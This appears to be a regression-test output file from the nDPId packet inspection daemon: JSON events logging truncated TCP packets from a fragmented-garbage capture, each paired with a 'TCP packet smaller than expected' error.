-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213023} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213032} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213041} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213050} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213058} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213079} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213088} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213105} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213114} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":8899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213123} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213131} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213140} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213158} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213168} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213215} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213228} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213239} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213253} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213271} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213284} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":8911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213296} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213334} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213363} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213376} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213400} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213413} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213425} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213436} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213448} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213460} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213473} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213485} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213497} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213533} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213545} 